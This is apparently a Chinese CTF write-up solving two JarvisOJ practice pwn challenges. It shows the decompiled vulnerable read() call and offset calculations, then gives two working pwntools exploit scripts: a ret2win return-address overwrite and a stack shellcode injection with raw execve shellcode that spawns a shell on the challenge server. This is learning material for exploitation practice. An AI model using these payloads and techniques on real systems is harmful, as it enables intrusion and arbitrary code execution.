今天找了jarvisoj上面的两个简单题做一下
level0(难度如名字)
ida打开看一下,简单栈溢出
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-80h]@1
return read(0, &buf, 0x200uLL);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
而且system('/bin/sh')也有了
checksec 看了一下,有NX保护,64位
计算一下ebp距离,128
构造payload = 'a'*128 +'bbbbbbbb'+p64(sys_addr)
脚本如下:
from pwn import *
#sh = process('level0')
sh = remote('pwn2.jarvisoj.com',9881)
system_addr=0x0000000000400596
payload = 'a'*136 +p64(system_addr)
sh.send(payload)
sh.interactive()
leve1
checksec查看:
没有任何问题
ida打开:
buf 与ebp相距0x88(136)
执行这个函数的时候,程序会直接返回buf 的地址。把shellcode写在栈上,然后将返回地址覆盖为buf的地址,就可以执行shellcode啦
然后我们发现,buf的地址每次都在变
所以我们要读取程序给出的buf地址
构造payload = shellcode + 'a'*(140-len(shellcode))+p32(buf)
脚本如下:
from pwn import *
#sh = process('level1')
sh = remote('pwn2.jarvisoj.com',9877)
shellcode="\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34"
sh.recvuntil(':')
address = sh.recvuntil('?',drop=True)
print address
address = int(address,16)
junk='a'*(140-len(shellcode))
payload = shellcode+junk+p32(address)
sh.send(payload)
sh.interactive()
什么都没干。就是好累